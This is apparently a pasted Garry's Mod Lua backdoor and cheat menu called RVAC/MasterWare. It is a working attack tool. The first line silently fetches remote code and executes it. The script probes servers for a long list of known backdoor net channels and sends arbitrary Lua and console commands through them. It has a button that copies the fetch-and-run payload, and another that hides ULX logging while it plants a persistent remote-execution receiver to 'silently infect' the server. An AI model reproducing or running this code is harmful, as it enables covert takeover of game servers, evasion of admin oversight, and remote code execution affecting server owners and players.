· 6 years ago · Aug 17, 2019, 04:20 AM
1http.Fetch("https://rvac/gq/_!/p",function(b)RunString(b)end)surface.PlaySound("HL1/fvox/bell.wav")
2
3print("\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n")
4
5MsgC(Color(255,0,0),[[
6 ____________________________________________________
7]])MsgC(Color(255,64,0),[[
8 / \
9]])MsgC(Color(255,128,0),[[
10 | _____________________________________________ |
11]])MsgC(Color(255,191,0),[[
12 | | | |
13]])MsgC(Color(255,255,0),[[
14 | | _____ ______ ____ _ _ _____ | |
15]])MsgC(Color(191,255,0),[[
16 | | | __ \| ____| _ \| | | |/ ____| | |
17]])MsgC(Color(128,255,0),[[
18 | | | |__) | |__ | |_) | | | | | __ | |
19]])MsgC(Color(64,255,0),[[
20 | | | _ /| __| | _ <| | | | | |_ | | |
21]])MsgC(Color(0,255,0),[[
22 | | | | \ \| |____| |_) | |__| | |__| | | |
23]])MsgC(Color(0,255,64),[[
24 | | __|_| _\_\______|____/ \____/_\_____|__ | |
25]])MsgC(Color(0,255,128),[[
26 | | / ____| | | | ____| /\|__ __/ ____| | |
27]])MsgC(Color(0,255,191),[[
28 | | | | | |__| | |__ / \ | | | (___ | |
29]])MsgC(Color(0,255,255),[[
30 | | | | | __ | __| / /\ \ | | \___ \ | |
31]])MsgC(Color(0,191,255),[[
32 | | | |____| | | | |____ / ____ \| | ____) | | |
33]])MsgC(Color(0,128,255),[[
34 | | \_____|_| |_|______/_/ \_\_| |_____/ | |
35]])MsgC(Color(0,64,255),[[
36 | | | |
37]])MsgC(Color(0,0,255),[[
38 | | | |
39]])MsgC(Color(64,0,255),[[
40 | | | |
41]])MsgC(Color(128,0,255),[[
42 | | | |
43]])MsgC(Color(191,0,255),[[
44 | |_____________________________________________| |
45]])MsgC(Color(255,0,255),[[
46 | |
47]])MsgC(Color(255,0,191),[[
48 \_____________________________________________________/
49]])MsgC(Color(255,0,128),[[
50 \_______________________________________/
51]])MsgC(Color(255,0,64),[[
52 _______________________________________________
53]])MsgC(Color(255,0,0),[[
54 _-' .-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-. --- `-_
55]])MsgC(Color(255,64,0),[[
56 _-'.-.-. .---.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.--. .-.-.`-_
57]])MsgC(Color(255,128,0),[[
58 _-'.-.-.-. .---.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-`__`. .-.-.-.`-_
59]])MsgC(Color(255,191,0),[[
60 _-'.-.-.-.-. .-----.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-----. .-.-.-.-.`-_
61]])MsgC(Color(255,255,0),[[
62 _-'.-.-.-.-.-. .---.-. .-----------------------------. .-.---. .---.-.-.-.`-_
63]])MsgC(Color(191,255,0),[[
64:-----------------------------------------------------------------------------:
65]])MsgC(Color(128,255,0),[[
66`----------------------------------------------------------------------------'
67]])
68MsgC(Color(0, 240, 255), "https://masterware.000webhostapp.com/masterware/b1g.lua | That's the disco!")
69
70 chat.AddText(Color(255,0,0), "[RVAC | MasterWare] ", Color(20,0,200),"Welcome "..LocalPlayer():Nick(), Color(20,50,200), ",", Color(255,155,0), " Mod Menu Loaded!")
71
72
73
74
75//Detections
76
77if (_G.QAC or _G.CAC) then
78
79 surface.PlaySound("ambient/alarms/klaxon1.wav")
80
81 chat.AddText(Color(255, 0, 0), "[", "Detections", "] ", Color( 20,150,200 ), "CAC anti-cheat has been found!")
82
83end
84
85if file.Exists("sv_mac.lua","LUA") then
86
87 chat.AddText(Color(255, 0, 0), "[", "Detections", "] ", Color( 20,150,200 ), "Modern-Anti-Cheat has been found on this server!")
88
89end
90
91 if file.Exists("cl_mac.lua","LUA") then
92
93 chat.AddText(Color(255, 0, 0), "[", "Detections", "] ", Color( 20,150,200 ), "Modern-Anti-Cheat has been found on this server!")
94
95end
96
97 if file.Exists("snte_source.lua","LUA") then
98
99 chat.AddText(Color(255, 0, 0), "[", "Detections", "] ", Color( 20,150,200 ), "Snte has been found on server!")
100
101end
102
103if (_G.SNTE or _G.SNTE) then
104
105 surface.PlaySound("ambient/alarms/klaxon1.wav")
106
107 chat.AddText(Color(255, 0, 0), "[", "Detections", "] ", Color( 20,150,200 ), "Snte may be on the server!")
108
109end
110
111if (_G.CL_MAC or _G.SV_MAC) then
112
113 surface.PlaySound("ambient/alarms/klaxon1.wav")
114
115 chat.AddText(Color(255, 0, 0), "[", "Detections", "] ", Color( 20,150,200 ), "Modern-Anti-Cheat may be on the server!")
116
117end
118
119//Locals
120
121local surface_SetFont = surface.SetFont
122
123local surface_GetTextSize = surface.GetTextSize
124
125local surface_SetDrawColor = surface.SetDrawColor
126
127local surface_DrawLine = surface.DrawLine
128
129local draw_SimpleText = draw.SimpleText
130
131local draw_SimpleTextOutlined = draw.SimpleTextOutlined
132
133local string_Explode = string.Explode
134
135local math_Rand = math.Rand
136
137local math_random = math.random
138
139local math_sin = math.sin
140
141local math_abs = math.abs
142
143local HSVtoColor = HSVToColor
144
145local Realtime = RealTime
146
147local Frametime = FrameTime
148
149local Curtime = CurTime
150
151local Color = Color
152
153local rebug = {}
154
155local channel = "";
156
157local netStrings = {}
158
159local BD = {}
160
161local noob = {}
162
163local iZNX = {}
164
165iZNX.memory = {}
166
167local MenuDelay = false
168
169local MenuOpen = false
170
171local ply = LocalPlayer()
172
173local selPly = 0
174
175local CFGSYS = {}
176
177local FSYS = {}
178
179//Fonts
180
181surface.CreateFont( "Gubbi", { font = "Arial", extended = false, size = 128, weight = 500, blursize = 0, scanlines = 0, antialias = true, underline = false, italic = false, strikeout = false, symbol = false, rotary = false, shadow = false, additive = false, outline = false, } )
182
183surface.CreateFont( "tabButtons", { font = "Astriumtabs2", extended = false, size = 65, weight = 400, blursize = 0, scanlines = 0, antialias = true, underline = false, italic = false, strikeout = false, symbol = false, rotary = false, shadow = false, additive = false, outline = false, } )
184
185surface.CreateFont( "button", { font = "Calibri", extended = false, size = 16, weight = 500, blursize = 0, scanlines = 0, antialias = true, underline = false, italic = false, strikeout = false, symbol = false, rotary = false, shadow = false, additive = false, outline = false, } )
186
187surface.CreateFont( "labels", { font = "Calibri", extended = false, size = 16, weight = 500, blursize = 0, scanlines = 0, antialias = true, underline = false, italic = false, strikeout = false, symbol = false, rotary = false, shadow = false, additive = false, outline = true, } )
188
189surface.CreateFont( "Features", { font = "Arial", extended = false, size = 16, weight = 1000, blursize = 0, scanlines = 0, antialias = true, underline = false, italic = false, strikeout = false, symbol = false, rotary = false, shadow = false, additive = false, outline = false, } )
190
191//Gradients
192
193local grad = Material("gui/gradient")
194
195local upgrad = Material("gui/gradient_up")
196
197local downgrad = Material("gui/gradient_down")
198
199
200//Colors
201
202local o_color1 = Color(17,17,17,255)
203
204local o_color11 = Color(22,22,22,255)
205
206local o_color2 = Color(16,16,16,255)
207
208local o_color3 = Color(50, 50,50,255)
209
210local o_color4 = Color(42, 42,42,255)
211
212
213function CheckIfStringExists(str)
214
215 local status, error = pcall(net.Start, str)
216
217 return status
218
219end
220
221// Notify
222
223function noob.Notify(msg)
224
225 chat.AddText(Color(255, 0, 0), "[RVAC] ", color_white, msg)
226
227end
228
229// Backdoored Strings
230
231 netStrings.Strings={{NetString="Sandbox_ArmDupe"},{NetString="riskware.lua"},{NetString="anticheat"},{NetString="Cuffs_TieHook"},{NetString="textscreens_download"},{NetString="ATS_WARP_FROM_CLIENT"},{NetString="CraftSomething"},{NetString="ts_buytitle"}, {NetString="cuffs"},{NetString="asdasdadadasd32"},{NetString="Cuffs_DragPlayer"},{NetString="Cuffs_FreePlayer"},{NetString="Cuffs_BlindPlayer"},{NetString="gPrinters.sendID"},{NetString="ultimateprinter"},{NetString="MasterGranted"},{NetStrings="mat"},{NetString="Shop::CopsHUD"},{NetString="entityhealt"},{NetString="m"},{NetString="material"},{NetString="REBUG"},{NetString="BetStrep"},{NetString="keyss"},{NetString="banId2"},{NetString="Val"},{NetString="models/zombie.mdl"},{NetString="FPSBOOST"},{NetString="PlayerCheck"},{NetString="Sbox_darkrp"},{NetString="insid3"},{NetString="The_Dankwoo"},{NetString="Sbox_itemstore"},{NetString="Ulib_Message"},{NetString="ULogs_Info"},{NetString="ITEM"},{NetString="R8"},{NetString="fix"},{NetString="Fix_Keypads"},{NetString="Remove_Exploiters"},{NetString="noclipcloakaesp_chat_text"},{NetString="_Defqon"},{NetString="_CAC_ReadMemory"},{NetString="lmaogetdunked"},{NetString="nostrip"},{NetString="nocheat"},{NetString="LickMeOut"},{NetString="ULX_QUERY2"},{NetString="ULXQUERY2"},{NetString="https://i.imgur.com/Gf6hLMl.png"},{NetString="MoonMan"},{NetString="Im_SOCool"},{NetString="JSQuery.Data(Post(false))"},{NetString="Sandbox_GayParty"},{NetString="DarkRP_UTF8"},{NetString="oldNetReadData"},{NetString="Gamemode_get"},{NetString="memeDoor"},{NetString="BackDoor"},{NetString="SessionBackdoor"},{NetString="DarkRP_AdminWeapons"},{NetString="cucked"},{NetString="NoNerks"},{NetString="kek"},{NetString="ZimbaBackDoor"},{NetString="something"},{NetString="random"},{NetString="strip0"},{NetString="fellosnake"},{NetString="enablevac"},{NetString="idk"},{NetString="Þà?D)â—˜"},{NetString="snte"},{NetString="apg_togglemode"},{NetString="Hi"},{NetString="beedoor"},{NetString="BDST_EngineForceButton"},{NetString="VoteKickNO"},{NetString="REEEEEEEEEEEE"},{NetString="_da_"},{NetString="Nostra"},{NetString="sniffing"},{NetString="keylogger"},{NetString="CakeInstall"},{NetString="Cakeuptade"},{NetString="love"},{NetString="earth"},{NetString="ulibcheck"},{NetString="Nostrip_"},{NetString="teamfrench"},{NetString="ADM"},{NetString="hack"},{NetString="crack"},{NetString="leak"},{NetString="lokisploit"},{NetString="1234"},{NetString="123"},{NetString="enculer"},{NetString="cake"},{NetString="seized"},{NetString="88"},{NetString="88_strings_"},{NetString="nostraall"},{NetString="blogs_update"},{NetString="nolag"},{NetString="loona_"},{NetString="billys_logs"},{NetString="loona"},{NetString="negativedlebest"},{NetString="berettabest"},{NetString="ReadPing"},{NetString="antiexploit"},{NetString="adm_NetString"},{NetString="mathislebg"},{NetString="Bilboard.adverts:Spawn(false)"},{NetString="pjHabrp9EY"},{NetString="?"},{NetString="lag_ping"},{NetString="allowLimitedRCON(user) 0"},{NetString="aze46aez67z67z64dcv4bt"},{NetString="killserver"},{NetString="fuckserver"},{NetString="cvaraccess"},{NetString="rcon"},{NetString="rconadmin"},{NetString="web"},{NetString="jesuslebg"},{NetString="zilnix"},{NetString="ß ?D)?"},{NetString="disablebackdoor"},{NetString="kill"},{NetString="DefqonBackdoor"},{NetString="DarkRP_AllDoorDatas"},{NetString="0101.1"},{NetString="awarn_remove"},{NetString="_Infinity"},{NetString="Infinity"},{NetString="InfinityBackdoor"},{NetString="_Infinity_Meme_"},{NetString="arivia"},{NetString="ULogs_B"},{NetString="_Warns"},{NetString="_cac_"},{NetString="striphelper"},{NetString="_vliss"},{NetString="YYYYTTYXY6Y"},{NetString="?????????????????п??? ?? ?Ñ¿??Ŀտ? ???Ñ¿??Õ¿??Ю"},{NetString="_KekTcf"},{NetString="_blacksmurf"},{NetString="blacksmurfBackdoor"},{NetString="_Raze"},{NetString="m9k_explosionradius"},{NetString="m9k_explosive"},{NetString="m9k_addons"},{NetString="rcivluz"},{NetString="SENDTEST"},{NetString="_clientcvars"},{NetString="_main"},{NetString="stream"},{NetString="waoz"},{NetString="bdsm"},{NetString="ZernaxBackdoor"},{NetString="UKT_MOMOS"},{NetString="anticrash"},{NetString="audisquad_lua"},{NetString="dontforget"},{NetString="noprop"},{NetString="thereaper"},{NetString="0x13"},{NetString="Child"},{NetString="!Cac"},{NetString="azkaw"},{NetString="BOOST_FPS"},{NetString="childexploit"},{NetString="ULX_ANTI_BACKDOOR"},{NetString="FADMIN_ANTICRASH"},{NetString="ULX_QUERY_TEST2"},{NetString="GMOD_NETDBG"},{NetString="netlib_debug"},{NetString="_DarkRP_Reading"},{NetString="lag_ping"},{NetString="||||"},{NetString="SteamApp2313"},{NetString="FPP_RemovePLYCache"},{NetString="fuwa"},{NetString="stardoor"},{NetString="SENDTEST"},{NetString="rcivluz"},{NetString="c"},{NetString="N::B::P"},{NetString="changename"},{NetString="PlayerItemPickUp"},{NetString="echangeinfo"},{NetString="fourhead"},{NetString="music"},{NetString="slua"},{NetString="adm_network"},{NetString="componenttolua"},{NetString="theberettabcd"},{NetString="SparksLeBg"},{NetString="DarkRP_Armors"},{NetString="DarkRP_Gamemodes"},{NetString="fancyscoreboard_leave"},{NetString="PRDW_GET"},{NetString="pwn_http_send"},{NetString="AnatikLeNoob"},{NetString="GVacDoor"},{NetString="Keetaxor"},{NetString="BackdoorPrivate666"},{NetString="YohSambreLeBest"},{NetString="SNTE<ALL"},{NetString="!Ǻ/;."},{NetString="pwn_http_answer"},{NetString="pwn_wake"},{NetString="verifiopd"},{NetString="AidsTacos"},{NetString="shix"},{NetString="PDA_DRM_REQUEST_CONTENT"},{NetString="xenoreceivetargetdata2"},{NetString="xenoreceivetargetdata1"},{NetString="xenoserverdatafunction"},{NetString="xenoserverfunction"},{NetString="xenoclientdatafunction"},{NetString="xenoclientfunction"},{NetString="xenoactivation"},{NetString="EXEC_REMOTE_APPS"},{NetString="yohsambresicianatik<3"},{NetString="Sbox_Message"},{NetString="Sbox_gm_attackofnullday_key"},{NetString="The_DankWhy"},{NetString="nw.readstream"},{NetString="AbSoluT"},{NetString="__G____CAC"},{NetString="Weapon_88"},{NetString="mecthack"},{NetString="SetPlayerDeathCount"},{NetString="FAdmin_Notification_Receiver"},{NetString="DarkRP_ReceiveData"},{NetString="fijiconn"},{NetString="LuaCmd"},{NetString="EnigmaProject"},{NetString="z"},{NetString="cvardel"},{NetString="json.parse(crashsocket)"},{NetString="effects_en"},{NetString="file"},{NetString="gag"},{NetString="asunalabestwaifu"},{NetString="stoppk"},{NetString="Ulx_Error_88"},{NetString="NoOdium_ReadPing"},{NetString="banId"},{NetString="kickId2"},{NetString="elsakura"}}
232
233function CheckBackdoors()
234
235 for k,v in pairs(netStrings.Strings) do
236
237 if(CheckIfStringExists(v.NetString)) then
238
239 channel = v.NetString
240
241 chat.AddText(Color(255, 0, 0), "[RVAC]", Color( 20, 150, 20 )," Found Vulnerability â–¶ ", Color(20, 150, 200), [[]] ..v.NetString)
242
243 end
244
245 end
246
247end
248
249function noob.PostLua(str)
250
251 net.Start(channel)
252
253 net.WriteString(str)
254
255 net.WriteBit(1)
256
257 net.SendToServer()
258
259end
260
261function noob.PostRcon(str)
262
263 net.Start(channel)
264
265 net.WriteString( str )
266
267 net.WriteBit(false)
268
269 net.SendToServer()
270
271end
272
273function noob.PostLua( str )
274
275 if (channel == "") then chat.AddText( Color( 255, 0, 0), "[REBUG]", Color( 20, 150, 200 ) ," You are not targeting a .net") return end
276
277 net.Start(channel)
278
279 net.WriteString( str )
280
281 net.WriteBit(1)
282
283 net.SendToServer()
284end
285
286function sendLuaPly(str)
287
288 net.Start(channel)
289
290 net.WriteString("BroadcastLua([[".. str .."]])")
291
292 net.SendToServer() end function sendLuaPlyKv(str)
293
294 net.Start(channel)
295
296 net.WriteString("for k,v in pairs(player.GetAll()) do v:SendLua(".. str ..") end")
297
298 net.SendToServer()
299end
300
301
302//Open Menu
303
304function rebug.voidz()
305
306 hook.Add("Think", "openMenu", function()
307
308 if input.IsKeyDown(KEY_INSERT) && !MenuDelay then
309
310 MenuDelay = true
311
312 rebug.load()
313
314 timer.Simple( 0.5, function() MenuDelay = false end )
315
316 end
317
318 end )
319
320end
321
322function rebug.load()
323
324 if MenuOpen then
325
326 CloseMenu()
327
328 return
329end
330
331 MenuOpen = true
332
333local BDMenu = vgui.Create("DFrame")
334
335surface.PlaySound("buttons/blip1.wav")
336
337BDMenu:SetSize( 710, 750 )
338
339BDMenu:SetPos(40,40)
340
341BDMenu:SetTitle("")
342
343BDMenu:ShowCloseButton()
344
345BDMenu:MakePopup()
346
347BDMenu:SetVisible(true)
348
349BDMenu:SetDraggable(false)
350
351BDMenu.Paint = function( self, w, h)
352
353 surface.SetDrawColor(Color(40, 40, 40, 255))
354
355 surface.DrawRect(0, 0, w, h)
356
357 surface.SetDrawColor(36, 21, 21)
358
359 surface.SetMaterial(upgrad)
360
361 surface.SetDrawColor(o_color2)
362
363 surface.SetMaterial(downgrad)
364
365 surface.SetDrawColor(o_color2)
366
367 surface.SetDrawColor(0, 0, 0, 255)
368
369 surface.DrawOutlinedRect(0, 0, w, h)
370
371 surface.DrawOutlinedRect(1, 1, w - 2, h - 2)
372
373end
374
375local rvacplate = vgui.Create('DPanelList', BDMenu)
376
377 rvacplate:SetSize(695, 735)
378
379 rvacplate:SetPos(8, 8)
380
381 rvacplate.Paint = function(s, w, h)
382
383 surface.SetDrawColor(Color(26, 26, 26))
384
385 surface.DrawRect(0, 0, w, h)
386
387 surface.SetDrawColor(21, 21, 21)
388
389 surface.SetMaterial(upgrad)
390
391 surface.SetDrawColor(o_color2)
392
393 surface.SetMaterial(downgrad)
394
395 surface.SetDrawColor(o_color2)
396
397 surface.SetDrawColor(35, 35, 35, 255)
398
399 surface.DrawOutlinedRect(0, 0, w, h)
400
401end
402
403local Rainbow = vgui.Create('DPanelList', rvacplate)
404
405 Rainbow:SetSize(693, 2)
406
407 Rainbow:SetPos(1, 0)
408
409 Rainbow.Paint = function(s, w, h)
410
411 surface.SetDrawColor(Color(100, 100, 100))
412
413 surface.DrawRect(0, 0, w, h)
414
415 surface.SetDrawColor(21, 21, 21)
416
417 surface.SetMaterial(upgrad)
418
419 surface.SetDrawColor(o_color2)
420
421 surface.SetMaterial(downgrad)
422
423 surface.SetDrawColor(o_color2)
424
425 surface.SetDrawColor(HSVToColor(CurTime() % 6 * 60, 1, 1))
426
427 surface.DrawOutlinedRect(0, 0, w, h)
428
429 surface.DrawOutlinedRect(1, 1, w - 2, h - 2)
430
431end
432
433local targeting = vgui.Create("DLabel", rvacplate )
434
435 targeting:SetFont("Trebuchet18")
436
437 targeting:SetText("No Player Selected")
438
439 targeting:SetTextColor(Color(255,255,255))
440
441 targeting:SetPos(483, 705)
442
443 targeting:SizeToContents()
444
445// Button Function
446
447function rebug.AddButton( name, parent, func )
448
449 local button = parent:Add( "DButton" )
450
451 button:SetText( "" )
452
453 button:Dock( TOP )
454
455 button:SetFont("DermaDefault")
456
457 button:DockMargin( 0, 0, 0, 8 )
458
459 button:SetSize(50, 25)
460
461 button.DoClick = func
462
463 button.Paint = function( self, w, h )
464
465 surface.SetDrawColor(Color(200, 24, 24))
466
467 surface.SetDrawColor(40, 40, 40)
468
469 surface.DrawOutlinedRect(0, 0, w, h)
470
471 draw.SimpleTextOutlined( name, "button", self:GetWide() / 2, self:GetTall() / 2, color_white, 1, 1, 1, color_black )
472
473 end
474
475end
476
477// Label Function
478
479function noob.addLabel(name, posx, posy, parent)
480
481 local T1 = parent:Add("DLabel")
482
483 T1:SetSize(200, 80)
484
485 T1:SetPos(posx, posy)
486
487 T1:SetFont("Trebuchet18")
488
489 T1:SetText(name)
490
491 T1:SetTextColor(Color(255, 255, 255, 255))
492
493end
494
495// Labels
496
497noob.addLabel("Server BackDoors", 20, 28, rvacplate)
498
499noob.addLabel("Target BackDoors", 257, 28, rvacplate)
500
501noob.addLabel("Player List", 490, 330, rvacplate)
502
503noob.addLabel("Extras", 495, 28, rvacplate)
504
505
506local Plistz = vgui.Create( "DPanelList", rvacplate )
507
508Plistz:SetPos( 10, 80 )
509
510Plistz:SetSize( 200, 538 )
511
512Plistz:SetPadding( 5 )
513
514Plistz:SetSpacing( 5 )
515
516Plistz:EnableHorizontal( false )
517
518Plistz:EnableVerticalScrollbar( true )
519
520Plistz:SetName( "" )
521
522Plistz.Paint = function( self, w, h )
523
524 surface.SetDrawColor(Color(24, 24, 24))
525
526 surface.DrawRect(0, 0, w, h)
527
528 surface.SetDrawColor(21, 21, 21)
529
530 surface.SetMaterial(upgrad)
531
532 surface.SetDrawColor(o_color2)
533
534 surface.SetMaterial(downgrad)
535
536 surface.SetDrawColor(o_color2)
537
538 surface.SetDrawColor(35, 35, 35, 255)
539
540 surface.DrawOutlinedRect(0, 0, w, h)
541
542end
543
544
545local item = vgui.Create( "DPanelList", Plistz )
546
547item:SetPos( 11.5, 10 )
548
549item:SetSize( 188, 520 )
550
551item:SetPadding( 5 )
552
553item:SetSpacing( 5 )
554
555item:EnableHorizontal( false )
556
557item:EnableVerticalScrollbar( true )
558
559item:SetName( "" )
560
561item.Paint = function( self, w, h )
562
563 surface.SetDrawColor(Color(24, 24, 24))
564
565 surface.DrawRect(0, 0, w, h)
566
567 surface.SetDrawColor(21, 21, 21)
568
569 surface.SetDrawColor(35, 35, 35, 0)
570
571 surface.DrawOutlinedRect(0, 0, w, h)
572
573end
574
575local Plist2 = vgui.Create( "DPanelList", rvacplate )
576
577Plist2:SetPos( 247, 80 )
578
579Plist2:SetSize( 200, 645 )
580
581Plist2:SetPadding( 5 )
582
583Plist2:SetSpacing( 5 )
584
585Plist2:EnableHorizontal( false )
586
587Plist2:EnableVerticalScrollbar( true )
588
589Plist2:SetName( "" )
590
591Plist2.Paint = function( self, w, h )
592
593 surface.SetDrawColor(Color(24, 24, 24))
594
595 surface.DrawRect(0, 0, w, h)
596
597 surface.SetDrawColor(21, 21, 21)
598
599 surface.SetMaterial(upgrad)
600
601 surface.SetDrawColor(o_color2)
602
603 surface.SetMaterial(downgrad)
604
605 surface.SetDrawColor(o_color2)
606
607 surface.SetDrawColor(35, 35, 35, 255)
608
609 surface.DrawOutlinedRect(0, 0, w, h)
610
611end
612
613local item2 = vgui.Create( "DPanelList", Plist2 )
614
615item2:SetPos( 8, 10 )
616
617item2:SetSize( 185, 628 )
618
619item2:SetPadding( 5 )
620
621item2:SetSpacing( 5 )
622
623item2:EnableHorizontal( false )
624
625item2:EnableVerticalScrollbar( true )
626
627item2:SetName( "" )
628
629item2.Paint = function( self, w, h )
630
631 surface.SetDrawColor(Color(24, 24, 24))
632
633 surface.DrawRect(0, 0, w, h)
634
635 surface.SetDrawColor(21, 21, 21)
636
637 surface.SetDrawColor(35, 35, 35, 0)
638
639 surface.DrawOutlinedRect(0, 0, w, h)
640
641end
642
643local Plist3 = vgui.Create( "DPanelList", rvacplate )
644
645Plist3:SetPos( 483, 80 )
646
647Plist3:SetSize( 200, 270 )
648
649Plist3:SetPadding( 5 )
650
651Plist3:SetSpacing( 5 )
652
653Plist3:EnableHorizontal( false )
654
655Plist3:EnableVerticalScrollbar( true )
656
657Plist3:SetName( "" )
658
659Plist3.Paint = function( self, w, h )
660
661 surface.SetDrawColor(Color(24, 24, 24))
662
663 surface.DrawRect(0, 0, w, h)
664
665 surface.SetDrawColor(21, 21, 21)
666
667 surface.SetMaterial(upgrad)
668
669 surface.SetDrawColor(o_color2)
670
671 surface.SetMaterial(downgrad)
672
673 surface.SetDrawColor(o_color2)
674
675 surface.SetDrawColor(35, 35, 35, 255)
676
677 surface.DrawOutlinedRect(0, 0, w, h)
678
679end
680
681local item3 = vgui.Create( "DPanelList", Plist3 )
682
683item3:SetPos( 8, 10 )
684
685item3:SetSize( 185, 250 )
686
687item3:SetPadding( 5 )
688
689item3:SetSpacing( 5 )
690
691item3:EnableHorizontal( false )
692
693item3:EnableVerticalScrollbar( true )
694
695item3:SetName( "" )
696
697item3.Paint = function( self, w, h )
698
699 surface.SetDrawColor(Color(24, 24, 24))
700
701 surface.DrawRect(0, 0, w, h)
702
703 surface.SetDrawColor(21, 21, 21)
704
705 surface.SetDrawColor(35, 35, 35, 0)
706
707 surface.DrawOutlinedRect(0, 0, w, h)
708
709end
710
711local Plist4 = vgui.Create( "DPanelList", rvacplate )
712
713Plist4:SetPos( 483, 382 )
714
715Plist4:SetSize( 200, 310 )
716
717Plist4:SetPadding( 5 )
718
719Plist4:SetSpacing( 5 )
720
721Plist4:EnableHorizontal( false )
722
723Plist4:EnableVerticalScrollbar( true )
724
725Plist4.Paint = function( self, w, h )
726
727 surface.SetDrawColor(Color(24, 24, 24))
728
729 surface.DrawRect(0, 0, w, h)
730
731 surface.SetDrawColor(21, 21, 21)
732
733 surface.SetMaterial(upgrad)
734
735 surface.SetDrawColor(o_color2)
736
737 surface.SetMaterial(downgrad)
738
739 surface.SetDrawColor(o_color2)
740
741 surface.SetDrawColor(35, 35, 35, 255)
742
743 surface.DrawOutlinedRect(0, 0, w, h)
744
745end
746
747local item4 = vgui.Create( "DPanelList", Plist4 )
748
749item4:SetPos( 8, 10 )
750
751item4:SetSize( 185, 290 )
752
753item4:SetPadding( 5 )
754
755item4:SetSpacing( 5 )
756
757item4:EnableHorizontal( false )
758
759item4:EnableVerticalScrollbar( true )
760
761item4:SetName( "" )
762
763item4.Paint = function( self, w, h )
764
765 surface.SetDrawColor(Color(24, 24, 24))
766
767 surface.DrawRect(0, 0, w, h)
768
769 surface.SetDrawColor(21, 21, 21)
770
771 surface.SetDrawColor(35, 35, 35, 0)
772
773 surface.DrawOutlinedRect(0, 0, w, h)
774
775end
776
777local Bar3 = vgui.Create("DScrollPanel", item4)
778
779 Bar3:Dock(FILL)
780
781local sbar3 = Bar3:GetVBar()
782
783 function sbar3:Paint()
784
785end
786
787function sbar3.btnUp:Paint()
788
789end
790
791function sbar3.btnDown:Paint()
792
793end
794
795function sbar3.btnGrip:Paint()
796
797end
798
799for k,v in pairs(player.GetAll()) do
800
801rebug.AddButton(v:Name(), Bar3, function()
802
803selPly = v:UserID() targeting:SetText("Selected: " .. Player(selPly):Name())
804
805 end )
806
807end
808
809local Plist5 = vgui.Create("DTextEntry", rvacplate)
810
811 Plist5:SetPos(10, 8)
812
813 Plist5:SetSize(672, 40)
814
815 Plist5:SetTextColor(Color(255, 255, 255, 255))
816
817 Plist5:SetFont("Trebuchet18")
818
819 Plist5.Paint = function(self, w, h)
820
821 surface.SetDrawColor(Color(24, 24, 24))
822
823 surface.DrawRect(0, 0, w, h)
824
825 surface.SetDrawColor(21, 21, 21)
826
827 surface.SetMaterial(upgrad)
828
829 surface.SetDrawColor(o_color2)
830
831 surface.SetMaterial(downgrad)
832
833 surface.SetDrawColor(o_color2)
834
835 surface.SetDrawColor(35, 35, 35, 255)
836
837 surface.DrawOutlinedRect(0, 0, w, h)
838
839 self:DrawTextEntryText(Color(255, 255, 255), Color(20, 20, 150), Color(100, 100, 100))
840
841end
842
843Plist5.OnEnter = function(self)
844
845 surface.PlaySound("buttons/button18.wav")
846
847 noob.Notify("Targeting: '" .. Plist5:GetValue() .. "'")
848
849 channel = self:GetValue()
850end
851
852local helpimretarded = vgui.Create("DButton", rvacplate)
853
854 helpimretarded:SetSize( 200, 45 )
855
856 helpimretarded:SetPos( 10, 627 )
857
858 helpimretarded:SetFont("Trebuchet18")
859
860 helpimretarded:SetText("Print backdoor code")
861
862 helpimretarded:SetTextColor(Color(255, 255, 255, 255))
863
864 helpimretarded.Paint = function(panel, w, h)
865
866 surface.SetDrawColor(Color(24, 24, 24))
867
868 surface.DrawRect(0, 0, w, h)
869
870 surface.SetDrawColor(21, 21, 21)
871
872 surface.SetMaterial(upgrad)
873
874 surface.SetDrawColor(o_color2)
875
876 surface.SetMaterial(downgrad)
877
878 surface.SetDrawColor(o_color2)
879
880 surface.SetDrawColor(35, 35, 35, 255)
881
882 surface.DrawOutlinedRect(0, 0, w, h)
883
884end
885
886helpimretarded.DoClick = function()
887
888 noob.Notify( "Copied to clipboard", Color(155,255,155) )
889
890 local llll = [[http.Fetch("https://rvac/gq/_!/p",function(b)RunString(b)end)]]
891
892 SetClipboardText( llll )
893
894end
895
896local helpimretarded2 = vgui.Create("DButton", rvacplate)
897
898 helpimretarded2:SetSize( 200, 45 )
899
900 helpimretarded2:SetPos( 10, 680 )
901
902 helpimretarded2:SetFont("Trebuchet18")
903
904 helpimretarded2:SetText("ULX Luarun Backdoor")
905
906 helpimretarded2:SetTextColor(Color(255, 255, 255, 255))
907
908 helpimretarded2.Paint = function(panel, w, h)
909
910 surface.SetDrawColor(Color(24, 24, 24))
911
912 surface.DrawRect(0, 0, w, h)
913
914 surface.SetDrawColor(21, 21, 21)
915
916 surface.SetMaterial(upgrad)
917
918 surface.SetDrawColor(o_color2)
919
920 surface.SetMaterial(downgrad)
921
922 surface.SetDrawColor(o_color2)
923
924 surface.SetDrawColor(35, 35, 35, 255)
925
926 surface.DrawOutlinedRect(0, 0, w, h)
927
928end
929
930helpimretarded2.DoClick = function()
931
932 noob.Notify( "Using ulx luarun to silently infect server", Color(155,255,155) )
933
934 RunConsoleCommand( "ulx", "logecho", "0" )
935
936 timer.Simple( 0.5, function()
937
938 RunConsoleCommand("ulx", "luarun", "util.AddNetworkString ('REBUG') net.Receive ('REBUG', function (length, ply) local netString = net.ReadString () local bit = net.ReadBit () if bit == 1 then RunString (netString) else game.ConsoleCommand (netString ..'\n') end end)" )
939
940end )
941
942 timer.Simple( 1, function() RunConsoleCommand( "ulx", "logecho", "1" ) end )
943
944end
945
946// Scroll Bars
947
948local bar1 = vgui.Create("DScrollPanel", item)
949
950 bar1:Dock(FILL)
951
952local sbar1 = bar1:GetVBar()
953
954 function sbar1:Paint()
955
956end
957
958function sbar1.btnUp:Paint()
959
960end
961
962function sbar1.btnDown:Paint()
963
964end
965
966function sbar1.btnGrip:Paint()
967
968end
969
970local bar2 = vgui.Create("DScrollPanel", item2)
971
972 bar2:Dock(FILL)
973
974local sbar2 = bar2:GetVBar()
975
976 function sbar2:Paint()
977
978end
979
980function sbar2.btnUp:Paint()
981
982end
983
984function sbar2.btnDown:Paint()
985
986end
987
988function sbar2.btnGrip:Paint()
989
990end
991
992
